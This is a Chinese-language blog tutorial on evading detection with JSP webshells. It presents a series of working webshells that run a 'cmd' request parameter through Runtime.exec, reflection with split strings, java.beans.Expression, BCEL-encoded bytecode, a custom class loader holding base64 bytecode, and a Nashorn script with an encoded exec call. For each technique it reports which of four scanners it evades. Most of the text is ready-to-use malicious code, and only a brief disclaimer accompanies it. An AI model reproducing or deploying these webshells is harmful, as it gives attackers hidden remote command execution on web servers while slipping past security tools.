从零开始学习 JSP webshell 免杀
@So4ms
0x00 写在前面
本文所做为JSP一句话木马的免杀学习,查杀验证工具这里用到了WEBDIR+ 、D盾 、河马查杀 、火绒 四款工具。
下面就来针对不同的方法来进行绕过学习,本文仅用作练习webshell
免杀,不可用于其他用途,若出现任何问题,与本人无关。
0x01 简单的 JSP webshell
最简单的JSP webshell形式如下,获取一个cmd
参数,然后Runtime.getRuntime().exec()
执行即可,这样最为方便快捷,但是显然是很容易被查杀的,四款工具都能够检测出来。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
但是当我们将request.getParameter("cmd")
拿出来,稍稍修改一下,仅仅多了一个变量cmd
,居然就过了WEBDIR+
的免杀,但是另外三款工具都还是检测出来了。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
不过这样做得不到命令执行的结果回显,我们可以将其加上,不影响之后的免杀效果。
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader buffer = new BufferedReader(reader);
String s = null;
while((s = buffer.readLine()) != null){
response.getWriter().println(s);
}
%>
0x02 反射获取 Runtime
我们通过反射来获取java.lang.Runtime
,以及他的方法,然后执行命令,居然除了火绒外的三个免杀都过了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Class clazz = Class.forName("java.lang.Runtime");
Method grt = clazz.getMethod("getRuntime");
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(grt.invoke(null), cmd);
%>
但是当我们将这些敏感的字符串通过拼接的形式写入的话,可以惊奇的发现火绒的免杀也过了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Class clazz = Class.forName("java.lang.Run" + "time");
Method grt = clazz.getMethod("getRun" + "time");
Method exec = clazz.getMethod("ex" + "ec", String.class);
exec.invoke(grt.invoke(null), cmd);
%>
除此之外,在java.lang.Runtime
类中,我们还发现了他存在一个静态变量currentRuntime
保存了一个Runtime
对象,于是我们可以直接获取这个变量来执行命令。
private static Runtime currentRuntime = new Runtime();
获取currentRuntime
变量,然后直接执行exec
方法来执行命令。不过相较上一个这次没能过D盾的查杀,可能是因为存在直接执行了exec
方法导致的,提示说是执行exec参数 request.getParameter("cmd")
<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Class clazz = Class.forName("java.lang.Runtime");
Field crt = clazz.getDeclaredField("currentRuntime");
crt.setAccessible(true);
Runtime rt = (Runtime) crt.get(null);
rt.exec(cmd);
%>
0x03 java.beans.Expression
java.beans.Expression
类中,存在一个方法getValue()
,在调用该方法时会执行构造这个类时传入的类和方法,他的构造方法如下,也就是在调用getValue()
时就会调用target.methodName(arguments)
,这样一来就好理解了,我们就可以将Runtime
执行命令所需的东西传入就行了。
@ConstructorProperties({"target", "methodName", "arguments"})
public Expression(Object target, String methodName, Object[] arguments) {
super(target, methodName, arguments);
}
虽然这个比较简单,但是还是达成了除了火绒之外的三款工具的免杀。
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
Expression expression = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expression.getValue();
InputStreamReader reader = new InputStreamReader(process.getInputStream());
BufferedReader buffer = new BufferedReader(reader);
String s = null;
while ((s = buffer.readLine()) != null) {
response.getWriter().println(s);
}
%>
0x04 BCEL
想要执行命令,直接执行字节码也是一个选择,可以使用BCEL
来执行字节码。
使用BCEL
执行字节码,首先我们得构造一个恶意类来获取他的字节码。该类的构造方法获取一个参数cmd
,然后利用Runtime
来执行这个cmd
,随后将命令执行的结果保存在result
中,在该类的toString
方法中对其进行输出,这样我们就可以直接通过实例化然后输出这个类来执行命令了。
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil {
String result;
public Evil(String cmd) throws Exception {
StringBuilder sb = new StringBuilder();
Process rt = Runtime.getRuntime().exec(cmd);
InputStreamReader reader = new InputStreamReader(rt.getInputStream());
BufferedReader buffer = new BufferedReader(reader);
String s = null;
while ((s = buffer.readLine()) != null) {
sb.append(s);
}
this.result = sb.toString();
}
@Override
public String toString() {
return result;
}
}
随后我们可以通过BCEL提供的两个类Repository
和Utility
来利用:Repository
用于将一个Java Class
先转换成原生字节码;Utility
用于将原生的字节码转换成BCEL
格式的字节码。
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println("$$BCEL$$" + code);
}
}
这里还要注意,在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
中,存在对字节码的一个判断,字符串开头要为$$BCEL$$
,手动加上就可以了。
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
拿到了完整的BCEL
字节码后,就可以在jsp文件中获取com.sun.org.apache.bcel.internal.util.ClassLoader
,然后加载字节码loader.loadClass(bcel)
,随后获取Constructor
构造方法,传入参数cmd
,就可以完成命令执行了。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85TmS$SQ$U$7e$$$y$7ba$5d$f0$FP$c9$d2$e8MD$94$y$7b$R$cd$f25$zP$d3$c6$86$8f$cb$b2$da$g$y$M$y$8e$ff$a8$af5S$d0$e4L$l$fb$d0$8f$e9$X4$d9$b9$L$be0$e2$f4a$cf$des$ces$9fy$ees$cf$ee$af$bf$df$7f$A$98$c6$b6$82$kLq$3cP$e0$c2$94$82$87$98$W$e1$R$c7c$FO$f0T$81$8c$Z$8e$94$C$lfE$98$T$c0g$o$cc$fb$d0$8d$e7$i$_8$W$Y$e4$8aQ$ad$Vl$86$be$f4$81v$a8$r$L$9a$b5$9f$dc$b1$x$a6$b5$3fK$dd9$d32$edy$86p$ecr$7bl$97AZ$w$e5$N$86$ee$b4i$Z$h$b5b$ce$a8$bc$d5r$FC$d0$95t$ad$b0$abUL$91$b7$8a$92$fd$de$ac$Skz$e5$d0$y$Q$bd$5b$_$e6$Z$5c$d5$iC$e4$S$ffb$cd$y$e4$8d$K$c1$5c$V$d2$X$bc$A$d8$aa$94t$a3Z$9du$e4k$Eb$Yj$b6$cdRr$dd$w$d7l$a20$b4$e2$b6$d3$U$b0$5cmoO$c0$G$cf$60$8bN$c5$c8$9fa$Y$v$f3$ef$d8$9a$fe$n$a3$95$j$c1$8eG$8bd2$c7$S$ZKv2$u$xG$baQ$b6$cd$92U$e5Xf$f0$da$a5$a6$5c$86Pl$ac$93$87$caN$a9V$d1$8dUS8$e0$T$t$9f$U$u$VA$ac0$M$5cql$8eU$V$_$b1$a6b$j$af$c8$9e$xOG$daT$bcFZ$f0e$Y$fa$3b$9fOt7TlbR$c5$W$de$a8$98$Q$ab$5e$f4$d1$a5$II$M$3d$e7B6s$H$86n$b7$95N$cf$d8$7b$e9$S$e8f$cekg$e6$d0$dd$c6$c4$7c$5c$c0o$d7$y$db$y$92$H$ca$bea$9f$r$e16$d3ZerM2$8e$M$9da$b4$d3$dcu$9c$84$A$b1$5e0$87$9c$3denw$8d$a0$83$b1$8e$N$a17x$dej$N$86$a8z$c5$94$89$R$a7I$d2$cae$c3$a2$a9$9d$f8$8f$b2$f6$nF$94$3e$ba$k$fat$Z$3dd$3bE$X$ad$83$I$d1$3bL$d9$l$b8$c1$e9$9d$897$c0$8e$e1$ca6$e0$ce$7c$834$5e$87g$e3$Yrv$a2$O$de$807$r$j$c3$97$8dH$N$u$v$PK$c9$RO$j$5d$d9$94$fc$T$feDD$aeC$7d$f7$f1$e4w$3cQ$87$ff$x$C$9f$89$d0$8d$7e$8aq$u$U9$qx$a1$d2$ef$mDy$U$5dHP$96$84$l$v$E$b0L$C$d3$qn$80$90kM1$YD$EpV$d7H4$p$f4$C$86p$9dD$870$83$h$Y$s$fe$u$b1$8c$e0$sq$th$j$c5$zx$88s$Y$b7i$87$8c$3b$b4$7b$E$ae$T$wq$8e$bb$i$f78F9b$ic$iqJAT$e3$E$92$88$3eA$PM$sE$e1I$92$de$c2$_O$fc$L$C$9f$i$cb$c4Yd$a7$Yvt$aaM$40K$t$a3$z$Cu$ff$l$c7$A$fe$c9$u$F$A$A";
Class<?> _loader = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader)_loader.newInstance();
Class<?> _obj = loader.loadClass(bcel);
Constructor<?> constructor = _obj.getConstructor(String.class);
Object obj = constructor.newInstance(cmd);
response.getWriter().println(obj.toString());
%>
使用BCEL
来执行字节码的免杀效果还是很好的,对于四款工具都达成了免杀。
不过在Java 8u251
的更新中,这个ClassLoader被移除了,具体利用还是要看jdk的版本,详情可见P神的《BCEL ClassLoader去哪了》。
0x05 自定义类加载器
这里的自定义类加载器,重写了loadClass
、findClass
方法,可以在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。
那当然首先还是来获取一个恶意的字节码,可以使用和上面一样的Repository
用于将一个Java Class
先转换成原生字节码,但是这个字节码显然是存在不可见字符的,所以我们可以选择使用base64
来编码一下。这样就可以拿到编码后的可见字符字节码了。
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.Repository;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Evil.class);
System.out.println(Base64.getEncoder().encodeToString(cls.getBytes()));
}
}
我们来重写一下我们自定义的类加载器的loadClass
和findClass
方法,findClass
用于写类加载逻辑、loadClass
方法的逻辑里如果父类加载器加载失败则会调用自己的findClass
方法完成加载,保证了双亲委派规则,具体的可自行搜索相关资料。
这里我们在loadClass
中判断我们要加载的类是否包含Evil
,如果是的话就调用我们自己重写的findClass
,否则交给父类加载器去加载。而在findClass
中,我们直接硬编码了我们的恶意字节码,然后把字节码转化为Class。
ClassLoader classLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
this.findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAUgoAEAAxBwAyCgACADEKADMANAoAMwA1BwA2CgA3ADgKAAYAOQcAOgoACQA7CgAJADwKAAIAPQoAAgA+CQAPAD8HAEAHAEEBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEAA2NtZAEAAnNiAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAnJ0AQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwEABmJ1ZmZlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAXMBAA1TdGFja01hcFRhYmxlBwBABwBCBwAyBwBDBwA2BwA6AQAKRXhjZXB0aW9ucwcARAEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAATAEUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARgwARwBIDABJAEoBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBDDABLAEwMABMATQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABMATgwATwAuDABQAFEMAC0ALgwAEQASAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAPABAAAAABAAAAEQASAAAAAgABABMAFAACABUAAAD8AAMABwAAAE0qtwABuwACWbcAA024AAQrtgAFTrsABlkttgAHtwAIOgS7AAlZGQS3AAo6BQE6BhkFtgALWToGxgANLBkGtgAMV6f/7iostgANtQAOsQAAAAMAFgAAACoACgAAAAcABAAIAAwACQAUAAoAIQALACwADAAvAA0AOgAOAEQAEABMABEAFwAAAEgABwAAAE0AGAAZAAAAAABNABoAEgABAAwAQQAbABwAAgAUADkAHQAeAAMAIQAsAB8AIAAEACwAIQAhACIABQAvAB4AIwASAAYAJAAAAB8AAv8ALwAHBwAlBwAmBwAnBwAoBwApBwAqBwAmAAAUACsAAAAEAAEALAABAC0ALgABABUAAAAvAAEAAQAAAAUqtAAOsAAAAAIAFgAAAAYAAQAAABUAFwAAAAwAAQAAAAUAGAAZAAAAAQAvAAAAAgAw");
return this.defineClass(name, code, 0, code.length);
}
};
这样就可以完成我们的webshell了,同样也可以完成四款工具的免杀。
<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ClassLoader classLoader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
this.findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAUgoAEAAxBwAyCgACADEKADMANAoAMwA1BwA2CgA3ADgKAAYAOQcAOgoACQA7CgAJADwKAAIAPQoAAgA+CQAPAD8HAEAHAEEBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxFdmlsOwEAA2NtZAEAAnNiAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAnJ0AQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAG0xqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyOwEABmJ1ZmZlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAXMBAA1TdGFja01hcFRhYmxlBwBABwBCBwAyBwBDBwA2BwA6AQAKRXhjZXB0aW9ucwcARAEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAATAEUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARgwARwBIDABJAEoBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBDDABLAEwMABMATQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABMATgwATwAuDABQAFEMAC0ALgwAEQASAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAPABAAAAABAAAAEQASAAAAAgABABMAFAACABUAAAD8AAMABwAAAE0qtwABuwACWbcAA024AAQrtgAFTrsABlkttgAHtwAIOgS7AAlZGQS3AAo6BQE6BhkFtgALWToGxgANLBkGtgAMV6f/7iostgANtQAOsQAAAAMAFgAAACoACgAAAAcABAAIAAwACQAUAAoAIQALACwADAAvAA0AOgAOAEQAEABMABEAFwAAAEgABwAAAE0AGAAZAAAAAABNABoAEgABAAwAQQAbABwAAgAUADkAHQAeAAMAIQAsAB8AIAAEACwAIQAhACIABQAvAB4AIwASAAYAJAAAAB8AAv8ALwAHBwAlBwAmBwAnBwAoBwApBwAqBwAmAAAUACsAAAAEAAEALAABAC0ALgABABUAAAAvAAEAAQAAAAUqtAAOsAAAAAIAFgAAAAYAAQAAABUAFwAAAAwAAQAAAAUAGAAZAAAAAQAvAAAAAgAw");
return this.defineClass(name, code, 0, code.length);
}
};
%>
<%
String cmd = request.getParameter("cmd");
Class<?> clazz = classLoader.loadClass("Evil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
response.getWriter().println(result);
%>
0x06 ScriptEngine
在Java中,可以利用ScriptEngine
来执行JS
代码。
Nashorn
是一个javascript
引擎。不过Nashorn JavaScript Engine
在Java 15
已经不可用了。
这里的JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=
解码后是';java.lang.Runtime.getRuntime().exec(s);
,防止字符串检测可以进行编码。同样也可以完成四款工具的免杀。
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String s = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
String cmd = request.getParameter("cmd");
String rt = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s + cmd + rt);
InputStreamReader reader = new InputStreamReader(process.getInputStream());
BufferedReader buffer = new BufferedReader(reader);
s = null;
while ((s = buffer.readLine()) != null) {
response.getWriter().println(s);
}
%>
Comments | NOTHING